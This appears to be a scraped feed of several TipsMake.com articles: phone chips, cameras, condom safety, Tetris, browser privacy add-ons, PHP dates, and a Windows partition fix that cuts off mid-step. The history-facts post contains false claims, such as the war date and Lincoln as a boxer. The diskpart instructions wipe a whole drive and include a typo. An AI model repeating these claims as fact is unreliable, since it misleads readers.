144hz scanning screen phone.   vivo nex 3s 5g retains the design from its predecessor, but owns many powerful upgrades on hardware, especially the snapdragon 865 chip.   the snapdragon 865 plus is an upgraded version of the snapdragon 865 chip, which qualcomm has yet to launch officially.   snapdragon 865 is one of the most powerful 5g chips in the world at the moment.   along with the galaxy z flip folding phone, samsung has officially launched the s20 series, including s20, s20 + and s20 ultra.   just yesterday, we - most tech enthusiasts believed that samsung's upcoming galaxy s20 will be the first snapdragon 865-powered smartphone of 2020, but   during the qualcomm snapdragon tech summit event, oppo had official information about the new smartphone line in 2020.   the snapdragon 865 is the latest and most powerful mobile chip qualcomm has ever made, but it may not yet be the most powerful smartphone in the world.   when qualcomm updates the graphics driver through the play store, users may see more patches to optimize performance for new games, fix problems faster and easier ...   the snapdragon 865 is equipped with an adreno 650 587mhz gpu chip, which is an improvement over the snapdragon 855 adreno 640 graphics chip.   865 snapdragon and apple a13, which cpu has more impressive performance?   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0miqp5mgmb%2Bis86nZHFuZWO1tbnL\n","link":"/post/snapdragon-865-tipsmake-com/","section":"post","tags":null,"title":"snapdragon 865 | TipsMake.com"},{"body":"Microsoft has \"quietly\" released a new firmware update for the Surface Pro 3, which focuses on adding some improvements to the Drivers of the Surface Pen.\n  \nAccording to the update history, the new firmware has the following features: \" Surface Pen Driver (v2.0.1145.0) allows additional configuration options for Surface Pro 3 \". There is no detailed description of the new configuration options for pens. However, this new update may relate to a partnership between Microsoft and Adobe, to improve Adobe's desktop applications on touch devices running Windows 8.1.\nMicrosoft usually releases a new firmware update on Tuesday every month, also known as \" Patch Tuesday \", so the new firmware is included in the normal firmware release schedule. If you own a Surface Pro 3, update it immediately to this latest version to feel the changes coming from your Surface Pen.\nncG1vNJzZmismaXArq3KnmWcp51kwLa%2BxZqanmWgp7xuf4yrnJydmauytHnNnq5mraCZrrWx0magpqiipMOmv4ydqaKulafAbrLOq2StoJViwLa%2BxZqanmWgmrs%3D\n","link":"/post/surface-pro-3-receives-new-updates-improves-drivers-for-the-surface-pen/","section":"post","tags":null,"title":"Surface Pro 3 receives new updates, improves drivers for the Surface Pen"},{"body":"And that's where the best cheap cameras come into play.\nDifference between phone and camera A 'point and shoot' camera is simply better than a phone camera in many ways. The biggest difference is the lens, which improves optical zoom for distant objects. Usually, the camera sensor is also larger, which means better quality images. But phones have smart software to improve the quality of the photos you take.\n  You'll see a bigger difference when comparing phones and DSLRs. Image quality on a DSLR or mirrorless camera is much higher than on a smartphone. In addition, you can change the lens to better suit the environment in which you will be shooting.\nThere's a lot more, of course, but in general, your phone should be good enough to use in most cases. First, see if you really need a separate dedicated camera, and then find the one that's right for you.\n18 best cheap cameras today 1. Canon PowerShot SX620: The best cheap and shooting camera   Price: 229$ . Sensor: 1/2.3-inch CMOS Resolution: 20 Megapixels Screen: 3 inches, no touch screen Lens: 25x optical zoom (25-625 mm) Video recording: 1080p Full HD at 60fps Connectivity: Wi-Fi, NFC Battery Life: 295 Shot Best for: Anyone on a tight budget who wants to take better photos than a smartphone, while traveling, or at parties and events. The Canon PowerShot SX620 is the perfect example of what you can do beyond the limited capabilities of your phone's camera. In particular, the 25x optical zoom lens is a big difference, helping a lot for capturing distant objects.\nIt lacks a touchscreen, so it takes a while to get used to the controls. But they are not too complicated.\n2. Canon PowerShot G9 X Mark II: Best budget compact camera for most people   Price: $429 Sensor: 1-inch CMOS Resolution: 20.1 Megapixels Screen: 3-inch touch screen Lens: 3x optical zoom (28-84 mm) Video recording: 1080p Full HD at 60fps Connection: Wi-Fi Battery life: 220 Shot Best for: Anyone who needs a better camera than a smartphone for portraits, travel, or babies and pets. Most people who are looking for a compact camera, just point and shoot but the image quality must be better than the phone should choose the Canon PowerShot G9 X Mark II. The 1-inch sensor makes a big difference in image quality, and it can also shoot in RAW file format, which is great if you know how to edit RAW images.\nThe 3x optical zoom lens seems a bit limited, but the G9 X Mark II delivers very good image quality. It's the sensor itself that makes the difference, and it's surprising to have that in such a compact camera.\n3. Olympus TG-5: Best budget camera with water resistance   Price: 399$ Sensor: 1/2.3-inch CMOS Resolution: 12 Megapixels Screen: 3 inches, no touch screen Lens: 4x optical zoom (25-100 mm) Video recording: Ultra HD 4K at 60fps Connection: Wi-Fi Battery life: 340 Shot Best for: Anyone who needs a camera that can handle extreme conditions such as extreme sports, outdoor activities, or the potential for drops or bumps. The Olympus TG-5, the latest in the TG series, is the most powerful camera you can buy right now. You can even put it in a cover for extra protection, but you won't usually need it. The camera is water resistant up to 50 feet (15m), shockproof from 7 feet (2m), and freezeproof in 14 degrees Fahrenheit or -10 degrees Celsius. What's more in a camera?\n4. Nikon Coolpix B500: Best budget travel camera with long lens   Price: 247$ Sensor: 1/2.3-inch CMOS Resolution: 16 Megapixels Screen: 3-inch touch screen Lens: 40x optical zoom (22.5-900 mm) Video recording: 1080p Full HD at 60fps Connectivity: Bluetooth, Wi-Fi, NFC Battery life: 600 Shot Best for: Anyone who needs a travel camera with a long, point-and-shoot lens to photograph birds or wildlife or sporting events. The Nikon Coolpix B500 is a cheap and effective superzoom camera for anyone looking to photograph things that are far away. The camera is ideal when traveling or at events, especially since it uses AA batteries. You can carry multiple spare batteries to ensure the device never runs out of battery.\nA word of warning, though, this is not a great camera for nighttime photography. The sensor is small and weak, and the image quality won't even match what you get on the latest Apple iPhone, Google Pixel, or Samsung Galaxy cameras.\nHigh-end instant-lens cameras are available, but if you have to spend more than the price of the Nikon Coolpix B500, you should look for a mirrorless or DSLR camera.\n5. Sony a5100: The cheapest mirrorless camera   Price: 448$ Sensor: APS-C Resolution: 24 Megapixels Screen: 3-inch touch screen Zoom capability: Depends on lens Video recording: 1080p Full HD at 60fps Connectivity: Wi-Fi, NFC Battery life: 400 Shot Best for: If you don't want a bulky camera but want the best photos possible in its price range, even for night shots, buy it. There are cases where photography enthusiasts and tourists need to purchase a mirrorless camera. They are typically cheaper than DSLRs but offer similar image quality and lens compatibility, all in a compact body.\nThe Sony A5100 is the best mirrorless camera in its price range. Sony's mirrorless cameras boast a wide range of lenses, making the A5100 a great choice for any photographer.\n6. Canon EOS Rebel T6 (1300D): Best budget DSLR camera   Price: 330$ Sensor: APS-C Resolution: 18 Megapixels Screen: 3 inches, no touch screen Zoom capability: Depends on lens Video recording: 1080p Full HD at 60fps Connectivity: Wi-Fi, NFC Battery life: 500 shots Best for: Anyone who wants the cheapest new DSLR right now. What is the cheapest new DSLR camera you should buy? The answer, of course, is the Canon EOS Rebel T6, aka the Canon EOS 1300D (outside the US).\nCanon has equipped this camera with everything that makes it easier for beginners to operate. The menu system is easy to use, and the automatic setup ensures that you don't need to do anything but point and shoot.\nIt is worth mentioning, that the camera lacks a touch screen, which can be an issue for many users. Its 9-point autofocus system is also quite old and won't produce the best shots of moving subjects. Unless you have a specific reason to buy a new camera, you may want to consider buying a used DSLR. You get a better camera for the same price.\n7. Sony Cyber-shot RX100 III: Sony's compact, premium compact camera   Price: $369.95 Type: Compact Sensor: 1 inch, 20.2MP Lens: 24-70mm f/1.8-2.8 Screen: 3-inch tilt angle, 1,229K dot Viewfinder: EVF Continuous shooting: 10fps Video recording: 4K User level: Beginner/intermediate Sony's newest camera in the RX100 series, the RX100 VI, is one of many people's favorite compact cameras at the moment and a relatively expensive option. The good news is that all previous generation models are still available at much more attractive prices. The RX100 III may not offer some of the latest features, but it's still a good compact camera in its price range. The large 1.0-inch sensor delivers superb levels of detail, and the wide and fast range of the zoom lens makes the RX100 VI a versatile companion. In addition, the RX100 VI has a built-in viewfinder and flip screen. The RX100 is a great compact camera in its price range.\n8. Panasonic Lumix FZ300/FZ330: A camera with amazing 4K video recording   Price: $397.99 Type: Bridge camera (instant lens camera) Sensor: 1/2.3 inch, 12.1MP Lens: 25-600mm, f/2.8 Screen: 3-inch tiltable touchscreen, 1.04m dot Viewfinder: EVF Continuous shooting: 10fps Video recording: 4K User level: Beginner Launched in 2015, the Lumix FZ300 (also known as the Lumix FZ330) is an option worth considering. The 25-600mm zoom range allows you to capture the subject you want, no matter how far away it is. While this zoom range is pretty typical for a bridge camera, what impresses most about the Lumix FZ300 is its constant f/2.8 maximum aperture. In addition, the body of the Lumix FZ300 is also water resistant, multi-angle touch screen, high-resolution electronic viewfinder, WiFi connectivity and anti-shake system for good image quality. .\n9. Nikon D3500: The best DSLR out there for newbies   Price: $390 Type: DSLR Sensor: APS-C CMOS, 24.2MP Lens mount: Nikon F Screen: 3-inch, 921,000K dot Viewfinder: Optical Continuous shooting: 5fps Video recording: 1080p User level: Beginner Nikon's D3400 is a hugely successful and popular DSLR. The Nikon D3400 still maintains its appeal, after the release of the D3500, as the camera offers many of the same features at a more affordable price point. But for now, after the sale, the D3500 is clearly the best option to consider.\nThe main changes over the older model D3400 include a newly developed APS-C sensor (though still only 24MP) and better battery life (1,550 shots per charge, compared to the D3400's 1,200 figure) . You also get a better battery grip and a slightly lighter redesigned body.\n10. Panasonic Lumix ZS50/Lumix TZ70: Great compact camera with huge zoom range   Price: $299 Type: Compact Sensor: 1/2.3-inch, 12.1MP Lens: 24-720mm, f/3.3-6.4 Screen: 3 inches, 1,040K dot Viewfinder: EVF Continuous shooting: 10fps Video recording: 1080p User level: Beginner/intermediate Panasonic's Lumix ZS/TZ line of compact cameras have long dominated the travel camera market, and the ZS50 (aka TZ70) maintains it. While it may be 'overshadowed' by brothers with larger sensors, such as the ZS100/TZ100 and ZS200/TZ200, the ZS50/TZ70 still has the edge thanks to its excellent 30x zoom in a body this size. pocket ruler. The Panasonic Lumix ZS50 even has space for an (albeit modest) electronic viewfinder, ideal in low light for shooting or reviewing photos on the rear monitor.\nYou can use this camera as an advanced point-and-shoot camera (simply let the camera adjust the settings, or you can shoot high-quality raw files and make your own decisions about it). aperture, as well as shutter speed).\n11. Canon EOS Rebel SL2/EOS 200D: The best choice in this price range   Price: $449 Type: DSLR Sensor: APS-C CMOS, 24.2MP Lens mount: Canon EF-S Screen: 3-inch multi-angle touch screen, 1,040,000K dot Viewfinder: Optical Continuous shooting: 5fps Video recording: 1080p User level: Beginner If you're on a tight budget, the EOS Rebel T6 (also known as the EOS 1300D) is a good choice for beginners. But you can save a bit more by opting for the new, better, and better EOS Rebel SL2. It gives more room to grow as you feel more confident, with the advantage of a 24MP sensor instead of 18MP, a wider ISO range, faster shooting, a flip-out LCD touchscreen, plus the Dual system Canon's superb Pixel CMOS AF for smooth focusing during video recording and live view.\n12. Sony Alpha A6000: High-end camera at a low price   Price: $398 Type: Mirrorless Sensor: APS-C CMOS, 24.3MP Lens mount: Sony E-mount Screen: 3.0 inch flip angle, 921K dot Viewfinder: EVF Continuous shooting speed: 11fps Video recording: 1080p User level: Beginner / photography enthusiast Don't let the price of the Sony Alpha A6000 fool you. The A6000 costs about the same as other DSLRs and mirrorless cameras, but it's an advanced and powerful camera. Launched in 2014, the Sony Alpha A6000 may be a bit dated, but most of the specs still sound pretty appealing.\nThese parameters include a 24MP sensor, a fast 179-point autofocus system and continuous shooting at 11 frames per second. However, the Sony Alpha A6000 is only capable of recording Full HD 1080p video, not 4K, and does not have a touchscreen. At a fairly affordable price point, the A6000's high-end features make it a great choice for beginners.\n13. Nikon D5300: Although it has been replaced by the D5500 and D5600, it is still a pretty good choice.   Price: $365.99 Type: DSLR Sensor: APS-C CMOS, 24.2MP Lens mount: Nikon DX Display: 3.2-inch articulating, 1,037,000 dot Viewfinder: Optical Continuous shooting speed: 5fps 1080p video recording User level: Beginner / photography enthusiast The D5300 appeared for more than a year before the D5500 model, and then the technical replacement D5600 appeared. The Nikon D5300 has a 24.2MP sensor with maximum ISO25,600 sensitivity, an EXPEED 4 image processor, and a 39-point autofocus system (same as the D5500). The D5300 doesn't have a touch screen, but it does feature GPS. The D5300's 600-shot battery life is beaten by the D5500, but it's still far ahead of the Canon EOS Rebel T6i/750D. All in all, the Nikon D5300 may not be the newest DSLR, but it's still a solid product.\n14. Sony Alpha A7 II: More megapixels than you'd expect at such a good price   Price: $898 Type: Mirrorless Sensor: Full-frame CMOS, 24.3MP Lens mount: Sony E-mount Monitor: 3-inch articulating, 1,230,000 dot Viewfinder: Electronic Continuous shooting speed: 5fps Video recording: 1080p User level: Photography enthusiast The new Alpha A7 III is one of the most popular options available today. The Alpha A7 II is half as much as its newer 'brother'. The Alpha A7 II may not have all the latest features, but you still get a very good 24.3MP full-frame sensor, excellent AF system, and excellent image stabilization. The handling isn't quite as refined as the newer models, but given the hefty price tag, this can't be ignored. You will be hard pressed to find a better camera in this price range.\n15. Olympus OM-D E-M10 Mark II: A beautiful, sturdy camera   Price: $399.95 Type: Mirrorless Sensor: Micro Four Thirds, 16.1MP Lens mount: Micro Four Thirds Screen: 3-inch tilt-angle monitor, 1,040,000 dot Viewfinder: EVF, 2,360,000 dot Continuous shooting: 8.5fps Video recording: Full HD User level: Beginner/intermediate The OM-D E-M10 Mark II is another example of a camera being upgraded now. Inside the body is undoubtedly an excellent electronic viewfinder, highly effective anti-shake system and a respectable 8.5fps continuous shooting speed. The Olympus OM-D E-M10 Mark II may not have the latest sensor or 4K video capabilities, but these shouldn't matter if you're just focused on taking great photos.\n16. Canon PowerShot SX730 HS: Compact camera with 30x optical zoom and great price   Price: $299.98 Type: Compact Sensor: 1/2.3-inch, 20.3MP Lens: 24-960mm, f/3.3-6.9 Display: 3-inch tilt-angle monitor, 922,000 dot Viewfinder: No Continuous shooting: 5.9fps Video recording: 1080p User level: Beginner The PowerShot SX730 HS appeals to both beginners and experienced photographers alike. On the back is a small dial, allowing you to quickly switch between different exposure modes, including manual and semi-automatic modes for those who want to be in control, plus Fully automatic and scene mode.\nThe 30x optical zoom covers an excellent focal length range and offers versatility for vacation photography. However, the Canon PowerShot SX730 HS does not have a touchscreen. This is a great choice for those who want a compact point and shoot camera with a long focal length zoom range.\n17. Sony A7: Great full-frame camera   Price: $636.24 Type: Mirrorless Sensor: Full-frame, 24.3MP Lens mount: Sony E Screen: 3 inches, 1,230,000 dot Viewfinder: EVF Continuous shooting: 5fps 1080p video recording User level: Photography enthusiast This may be one of the oldest models on this list, but you can still grab it as it's still relatively new and the most economical way to enter the world of full-frame photography. Sure, the Sony A7 can't match the A7 II and A7 III, but if you don't need 4K video, a touchscreen, or the latest autofocus system, the Sony A7 is still an option worth considering.\nThe main advantages of the Sony A7 are its 24.3MP full-frame sensor, hybrid AF system, 5fps continuous shooting mode, 1.23 million dot LCD and WiFi with NFC. You can take advantage of a wide range of Sony and third-party lenses with the Sony A7.\n18. Panasonic Lumix FZ70/FZ72: Bridge camera with 60x . zoom lens   Price: $297.99 Type: Bridge compact Sensor size: 1/2.3-inch, 16.1MP Lens: 20-1200mm, f/2.8-5.9 Screen: 3 inches, 460,000 dot Viewfinder: Yes Continuous shooting speed: 9 fps Maximum video resolution: 1080p User level: Beginner / photography enthusiast The Panasonic Lumix FZ70/FZ72 is one of the cheapest bridge cameras available. Let's start with the lens. The Lumix FZ70 is capable of an incredible 60x optical zoom, from 20mm to 1200mm. You also have the option of full manual control (as well as a host of useful auto modes), raw capture, and decent image quality from a sensor of this size. The downside of the Lumix FZ70 is that although it has an EVF, the quality is not the best and there is no touch screen, nor wireless connectivity.\nNow, you know the best cheap cameras. The next thing to do is think about buying accessories. For some of the options above, you only need one lens for a mirrorless or DSLR camera. But that doesn't mean you shouldn't care about the other choices on the list. No matter which camera you buy, you'll need a few accessories to go with it.\nFor starters, you'll need a good SD card to safely store all of your photos and a case for your camera. The task you need to do is not only to buy the right camera, but also to buy the necessary accessories to take pictures.\nGood luck with your choice of camera!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpvZpqVqMFur8eemKllk5a6pr7ArGStp5SWxg%3D%3D\n","link":"/post/top-18-best-cheap-cameras-today/","section":"post","tags":null,"title":"Top 18 best cheap cameras today"},{"body":"Condoms are a tool that works to reduce pregnancy and the risk of infection during sex. Although not too common, there are cases where condoms are torn and slipped. So how much does this percentage account for? How to know if a condom breaks? Let's find out right away with TipsMake.com!\ncontent Why should we use condoms when having sex? What is the ratio of tearing condoms and slipping condoms? How to identify condoms is torn and notes when using Why should we use condoms when having sex? Using condoms when having sex is something that authorities, health professionals and the media still spread every day, every hour. Why do condoms need to be used when having sex? Simply because it gives us many benefits:\nThe effectiveness of preventing pregnancy is high (over 98%) and does not affect women's health as when using birth control pills Preventing 67 - 85% of the risk of HIV / AIDS infection and many other sexually transmitted diseases   Condoms should be used when having sex\nWhat is the ratio of tearing condoms and slipping condoms? Condoms are usually made of special plastic, have high strength and elasticity. Condoms can be torn, slipped in the process of using the user incorrectly, the product expires or accidentally tears when tearing the package. Many studies show that condom tear rate when relationship accounts for about 0.4 - 2.3%, while the slip rate is from 0.6 to 1.3%.\nA broken or slipped condom will reduce the ability to protect, increasing the level of semen penetration. Compared to not using the bag, the amount of semen penetrated accounted for about 50% in case the bag was torn and about 20% in case the bag was slipped.\n  The rate of tearing and slipping condoms is quite low\nHow to identify condoms is torn and notes when using Detecting a broken condom in time will reduce the risk of unwanted pregnancies as well as the risk of infection. To know if a condom is torn, you can do it the following way:\nVisual inspection: Observe carefully the condom to see if there are any holes on the condom. Check with water: Put water into a condom (maximum of 1/2 bags). If there is water flowing out, the bag is torn and vice versa. Check the semen's pouch on the tip: If you see a semen pouch that is flat, not filled with semen, it is very likely that the semen is broken. In case the bag is torn when having sex, the girlfriend needs to quickly clean with warm water and cleaning solution or use emergency contraception (if necessary).\nIn order to limit tearing of condoms , you should keep in mind the following:\nDo not tear the bag with teeth Do not share condoms with sharp objects Do not let your nails wear too long Wear condoms yourself When worn, it is necessary to push out the gas to avoid breakage Select condoms of the right size because if the pack is too small, it is easy to tear, too wide to easily slip. Do not use expired condoms\nCombine the use of lubricating gel and condom during sex Always pay attention to the bag during the relationship. If you feel a feeling of being ragged, you may be torn. At this point you must consider preventive cases. Even though the rate is very low, it is still possible to tear up and get rid of condoms. Hope our sharing has answered your questions. To avoid buying fake and substandard goods, you should find out more about reputable addresses to buy condoms\n\u0026gt;\u0026gt;\u0026gt; More references:\nSurprise with 10 useful uses of condoms, surely many people do not know The mistake to avoid when using a condom to 'love' is more secure Unexpected facts about condoms you may not know Tips to limit premature ejaculation with condoms ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuvsCtoKhln5t6tbHAq6Cnn12YvK%2BwzqaqZqCfrHq1u4ykpaivXZ6zbq2MnKannJ%2Bieqq%2FjK2mq6Y%3D\n","link":"/post/what-is-the-ratio-of-tearing-condoms-how-to-know-if-a-condom-is-torn/","section":"post","tags":null,"title":"What is the ratio of tearing condoms? How to know if a condom is torn"},{"body":"Here are 11 interesting and quirky facts from history, after listening to it you will definitely not believe they are real.\n  During World War II, Juliana, a Great Dane, extinguished a fire bomb by urinating on it. For this feat, the dog was awarded the Blue Cross Medal.\n  Alexander the Great may have been accidentally buried alive. Scientists believe that Alexander suffered from Guillain-Barré syndrome, a neurological disorder. And they believe that, when he was buried, he was still mentally aware and only paralyzed.\n  In Ancient Rome there were female gladiators but very rarely, they were called Gladiatrix or Gladiatrices.\n  The most successful pirate in the history of the world was a woman. Her name is Ching Shin, and she is the wife of the Commander of the Red Flag Fleet. Ching Shih became one of the most powerful captains in the fleet. This female pirate has up to 200 oceanic ships, 800 small warships near the shore and quite a few boats on the river. Under her command there were 50,000 pirates, 10 times the number of marines in the US Navy at that time.\n  The Avengers - a series of famous superhero squads around the world. However, not everyone knows that The Avengers is also the name of a group of Jewish assassins who hunted down Nazi war criminals after World War II. More than 2,000 German POWs were killed by them. harmful.\n  From 1912 to 1948, the Olympic Games held competitions and awarded medals for literature, architecture, painting, sculpture and music. Topics issued by the Olympics.\n  During a rabbit hunt for officers, Emperor Napoleon Bonaparte was rushed at him by angry rabbits, causing him to flee. After this rare accident, the famous French prince was haunted every time he saw a rabbit.\n  In Ohio, in the 1830s, ketchup was sold as an upset stomach by a doctor named John Cook. Ketchup was counted as a condiment in the late 19th century.\n  The late President of the United States, Abraham Lincoln was a famous boxer. During his career, he won 299/300 fights.\n  In 1386, a pig was executed by hanging in France after biting a child to death. The pig was taken into custody, put on trial, and found guilty of murder.\n  The Anglo-Zanzibar War that took place on August 27, 1986 was the shortest war in history, lasting 38 minutes to 45 minutes.\nncG1vNJzZmismaXArq3KnmWcp51kfnJ5yKernqqVqMGqusZmmKecXabCqr7KsmShoaOpvLO1wpqjZp6RmMG0edOhmK1lnZa4pnnEr5yrsZ%2Bjsm7Ax6KlpGWZqcBurYyjpqSd\n","link":"/post/11-interesting-and-quirky-historical-facts-that-make-everyone-think-it-s-a-joke/","section":"post","tags":null,"title":"11 interesting and quirky historical facts that make everyone think it's a joke"},{"body":"For many people, especially the 8x and 9x generations (only those born in 198x and 199x) are no stranger to Tetris jigsaw, even unforgettable memories. And today 6/6, this game is 30 years old.\n  Tetris ( Тетрис ) was first created by Alexey Pajitnov of the Moscow Academy of Sciences, the Soviet Union (Russia now) on June 6, 1984 and ran on a device called Elektronika 60. The game was limited in graphics. But those who play are quite interested. Shortly thereafter, he also found unauthorized \" clones \" in some other countries.\nThis time, between the Soviet Union and the US is happening the Cold War and he fears the game will not be popular. He quickly transferred the game to the government. Soon after, Tetris had the first international version released by Spectrum HoloByte - an American company.\n  Henk Rogers (left) and Tetris author Alexey Pajitnov (right) are two close friends in real life\nHowever, the one who brought Tetris to the top was Henk Rogers , who popularized the game all over the world. Rogers fell in love with it for the first time in Las Vegas in 1988 and immediately flew to Moscow to negotiate with the authorities about a full version. Later, he transferred to Nintendo exclusive this game on his gaming machine.\nBy 1989, Tetris was officially available on Nintendo GameBoy and it quickly gained success beyond expectations because of the huge number of players, becoming the most influential game globally. After that, a series of \" fake \" or unofficial versions are available on computers, mobile phones ( more than 100 million copies ), .\n  Modern Tetris interface.\nIn 1996, Rogers founded The Tetris Company to monopolize the game. Earlier this year, the company was in talks to offer Tetris on the Xbox One and PlayStation 4.\nToday, although there are many versions on different modern platforms, Tetris still receives the support of many users worldwide.\nFor you, do you have any memories about this game?\nncG1vNJzZmismaXArq3KnmWcp51kgHHFxJqpqKSUYsGmwNGiqmaopa%2FHrbGMoJimnQ%3D%3D\n","link":"/post/30-year-old-tetris-puzzle-game/","section":"post","tags":null,"title":"30-year-old Tetris puzzle game"},{"body":"This is also the reason that web browsers - the bridge connecting the users to the internet world - are increasingly adding more features to support security and ensure user privacy.\nHowever, just the default browser features will not be enough. If you want to make sure your privacy is respected more thoroughly, you will need the help of extensions (Add-ons).\n1. DuckDuckGo Privacy Essentials DuckDuckGo Privacy Essentials is a browser extension developed by the team behind the DuckDuckGo platform, which is receiving a lot of attention recently. It can:\nAutomatically block third-party tracking tools from being 'implanted' in your browser when you accidentally visit a malicious website. These tools can track your activity and steal your personal data. Force sites to use an HTTPS connection when available. Show you 'Privacy Grade' for each website you visit.   While not really a 'revolutionary' feature, DuckDuckGo Privacy Essentials is a surprisingly simple solution for those who want an extra 'security shield' on top of it. Browser.\n2. NoScript JavaScript is responsible for the dynamic content you see in the online environment, like videos, animations, image galleries, etc.However, it also hides many things that we don't want to encounter, such as advertisements, tracking tools, or even browser bug exploits to gain access to data on our computers.\nThis is also the reason why NoScript is one of those extensions that is well worth adding to your browser - it allows you to selectively enable or disable support for JavaScript scripts.\n  Please note that using NoScript can be quite annoying as it can sometimes be a bit 'over enthusiastic', to the point that it can even block the content you want, making some of your favorite websites impossible. are identifiable until you whitelist them. However, that comes at a small price in exchange for privacy, and the problem will mostly go away when you use NoScript more often.\n3. uBlock Origin Lighter in resource and more efficient than many other alternatives, uBlock Origin can help you get rid of all unwanted software from the websites you visit.\n  Make no mistake, uBlock Origin is not an 'ad blocker' but a 'broad spectrum content blocker'. This means that in addition to 'flying the color' of your ads and tracking code, it also allows you to selectively remove page elements or other content that you don't want.\n4. Privacy Badger Add another great anti-tracking extension. Privacy Badger works differently from most extensions of the same function. Rather than relying on a predefined list of 'good' and 'bad' sites, Privacy Badger will try to identify trackers based on their behavior.\n  Privacy Badger is very easy to use. When a website doesn't display as it should, simply re-enable each one that Privacy Badger blocked. When you find what you need for the correct rendering of your website, turn off the elements you don't want them to appear.\n5. Decentraleyes The web giants don't need to use typical browser tracking tools to keep track of all your actions. Instead, they provide content such as JavaScript libraries, fonts, or \"interactive buttons\", through which your computer can be pinging them.\nTheoretically, you could also block that type of content, but this also means the site won't be able to render properly. Since there is no way to solve this problem, DecentralEyes has found a way to avoid it: copying the necessary content.\n  By providing local copies of the content, your browser doesn't need to look elsewhere for it. Therefore, the browser will not ping Google, Microsofts, or Baid whenever you access something like a jQuery based web application.\nncG1vNJzZmismaXArq3KnmWcp51kgm6x162cp6uZpLu0edOoZKGdnKV6sb7OrZycrF2uvLa%2BjKmpoq6RmMZuw8eio55lo6q%2Fp7XNoGStoJVixKaujKilZp6Zp7Knu9c%3D\n","link":"/post/5-extensions-to-help-protect-your-privacy-while-surfing-the-web-on-firefox/","section":"post","tags":null,"title":"5 extensions to help protect your privacy while surfing the web on Firefox"},{"body":"Date is a part of everyday life and is easy to work with without thinking. PHP also provides powerful tools for easier date manipulation.\nGet the Time Stamp with the time () function in PHP The time () function in PHP gives you all the information you need about the current date and time. It does not require parameters but returns an integer.\nThe integer number returned by the time () function represents the number of seconds that have elapsed since midnight January 1, 1970. Here is an example to illustrate:\nphp print time (); ?\u0026gt;  Save the above program in a file named test.php in htdocs , then open the browser and type the address http:/// localhost: 8080 / test.php will result:\n  If you look at the results, you may find it confusing. But PHP provides great tools to convert a timestamp into a form that people find convenient.\nConvert Time Stamp with getdate () function in PHP The getdate () function accepts a time stamp and returns an associated array containing date information. If you miss this time stamp, it works with the current time stamp when returned by time ().\nThe table below lists the elements contained in the conjugate array returned by getdate () in PHP:\nKey Description Exampleseconds Seconds of minutes (0-59) 20 minutes Hours of hours (0 - 59) 29 hours Day time (0 - 23) 22 mday Months of the month (1 - 31) 11 wday Weekdays (0 - 6) ) 4 mon Year of the year (1 - 12) 7 year Year (4 digits) 1997 yday Year of the year (0 - 365) 19 weekday Day of the week Thursday month Month of the year January 0 Timestamp 948370048 By now, you can format this date and time in any format you want.\nFor example\nTry the following example:\nphp $date_array = getdate (); foreach ( $date_array as $key =\u0026gt; $val ) { print \"$key = $val\n\" ; } $mydate = getdate ( date ( \"U\" )); //bạn tham khảo hàm date() ở bên dưới print \"Today: \" ; echo \"$mydate[weekday], $mydate[month] $mydate[mday], $mydate[year]\" ; ?\u0026gt;  Save the above program in a file named test.php in htdocs , then open the browser and type the address http:/// localhost: 8080 / test.php will result:\n  Convert Time Stamp with date () in PHP The date () function in PHP returns a formatted string representing a date. You can practice various controls through the format that the date () function returns with a string parameter that you want to pass to it.\n date (format, timestamp)  If you do not use (optionally) a Time stamp in the date () function, the current date and time will be used. Any other data you include in the format string passed to date () will be included in the return value.\nThe table below lists some code that a format string can contain:\nFormat Description Example 'am' or 'pm' in lowercase pm A 'AM' or 'PM' in upper case PM d Date of the month, number starting from 01 20 D Weekdays (3 letters) Thu F January h Hour (12h format, from 01) 12 H Hour (24h format, from 01) 22 g Hours (12h format, from 1) 12 G Hours (24h format, format 1) 22 i Minutes (0 - 59) 23 j Day of the month (form 1) 20 l (Lower 'L') Day of the week Thursday L Leap year ('1' for yes, '0' for full) 1 m Month of the year (number, form 01) 1 M Month of the year (3 letters) Jan r Date in RFC format 2822 Thu, 21 Dec 2000 16:01:07 +0200 n Month of the year (number, form 1) 2 s Seconds in hour 20 U Time stamp 948372444 y Year (2 digits) 06 Y Year (4 digits) 2006 z Date of the year (0 - 365) 206 Z Offset equals the seconds value from GMT +5 For example\nYou try the following example of the date () function in PHP:\nphp // in ngày trong tuần echo date ( \"l\" ) . \"\n\" ; // in ngày trong tuần, ngày trong tháng, tháng, năm, thời gian, AM hoặc PM echo date ( \"l jS of F Y h:i:s A\" ) . \" \" ; // hiển thị October 3, 1975 là vào Friday echo \"Oct 3,1975 was on a \" . date ( \"l\" , mktime ( 0 , 0 , 0 , 10 , 3 , 1975 )) . \"\n\" ; // sử dụng một hằng số trong tham số format echo date ( DATE_RFC822 ) . \"\n\" ; // hiển thị date time dưới dạng giống như: 1975-10-03T00:00:00+00:00 echo date ( DATE_ATOM , mktime ( 0 , 0 , 0 , 10 , 3 , 1975 )); ?\u0026gt;  Save the above program in a file named test.php in htdocs , then open the browser and type the address http:/// localhost: 8080 / test.php will result:\n  Hope you understand how the date format and time are according to your requirements. A complete list of all date and time operation functions is provided in the chapter Function handling Date \u0026amp; Time in PHP\nFollow tutorialspoint\nPrevious article: PHP for PERL Programmers\nNext lesson: What is JavaScript\nncG1vNJzZmismaXArq3KnmWcp51ksaLAxGZkmqaUYnq1tcyeZKKmXaW1sQ%3D%3D\n","link":"/post/date-time-in-php/","section":"post","tags":null,"title":"Date \u0026amp; Time in PHP"},{"body":"If you receive this error message: 'Setup was unable to create a new system partition or locate an existing system partition' while installing Windows 7, 8 / 8.1, 10, then don't miss the following article.\nToday's article will give you step-by-step instructions on how to fix this problem and start installing Windows 7, but the procedure will be similar on Windows 10/8 / 8.1. Follow the steps provided below to fix this problem.\nHow to fix the 'Setup was unable to create a new system partition or locate an existing system partition' error when installing Windows\n1. First, make sure that any external hard drive is removed from the computer. If you are installing windows via a bootable CD or USB, leave them alone.\n2. Now, press Shift + F10 to open Command Prompt.\n3. In the Command Prompt window, type 'diskpart' and press Enter .\n4. Then type 'list disk'. This step will list all hard drives connected to this PC. For example, only one drive (you should only have one drive would be better). We will install Windows on this hard drive.\n5. We need to select the hard drive by typing 'select disk 0'. You can choose another partition if you like.\n6. Now type 'clean' to erase all data on the drive.\n7. After you finish, type 'create partition primary size-10000 \" .\n8. Now, type 'format fs = ntfs quick'.\n9. Once done, type 'assign' and press the Enter key.\n10. Then type 'active' and 